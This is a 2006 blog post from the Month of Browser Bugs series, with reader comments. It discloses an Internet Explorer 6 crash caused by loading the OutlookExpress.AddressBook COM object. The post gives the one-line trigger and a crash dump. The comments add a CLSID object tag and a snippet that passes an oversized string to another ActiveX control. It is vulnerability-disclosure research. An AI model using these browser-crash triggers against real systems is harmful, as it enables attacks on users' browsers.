Sunday, July 02, 2006

MoBB #3: OutlookExpress.AddressBook

The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows 2000 SP4 system. It appears to have been resolved (via killbit) in a recent update to Window XP SP2. This bug is one of many that are triggered by loading a non-ActiveX COM object from inside Internet Explorer.

a = new ActiveXControl('OutlookExpress.AddressBook');

Demonstration

eax=00000000 ebx=06622008 ecx=00000002
edx=065814e4 esi=00000000 edi=00000000
eip=0648b2f5 esp=0012a734 ebp=0012a754
msoe!IDwGetOption+0x78:
0648b2f5 8b08 mov ecx,[eax] ds:0023:00000000=????????

This bug was reported to Microsoft on March 6th, 2006.
This bug has been added to the OSVDB:
Microsoft IE OutlookExpress.AddressBook COM Object NULL Dereference.

3 Comments:

At 6:32 AM, Anonymous Anonymous said...

Hello hdm,

This flaw is known since March 2005 (discovered by Shane Hird) :

http://www.securityfocus.com/archive/1/391803

You can replace "OutlookExpress.AddressBook" by its clsid "233A9694-667E-11d1-9DFB-006097D50408" :

[object classid="clsid:233A9694-667E-11d1-9DFB-006097D50408"][/object]

However, very good work :-)

 
At 12:50 PM, Blogger hdm said...

Good to know, thanks for the comment! A quick search of the COM name (but not the CLSID) didn't turn this up. Looks like the killbit has finally been enabled.

 
At 3:55 PM, Anonymous c0ntex said...

Regards,

Nice finds with the Browser bugs. I came across this one while playing with System information ActiveX:

classid="clsid:273380E8-1438-4B2C-95B0-713284FBC302"

filemame = String(1, "A")
computer = String(1234, "BIG AND SCARY")
category = String(1, "A")
victim.SaveFile filename, computer, category

I can't paste html so here it is in full: http://noderat.spaces.msn.com/blog/cns!6ADE4614B66EADD2!1150.entry

regards
c0ntex

 

Post a Comment

Links to this post:

Create a Link

<< Home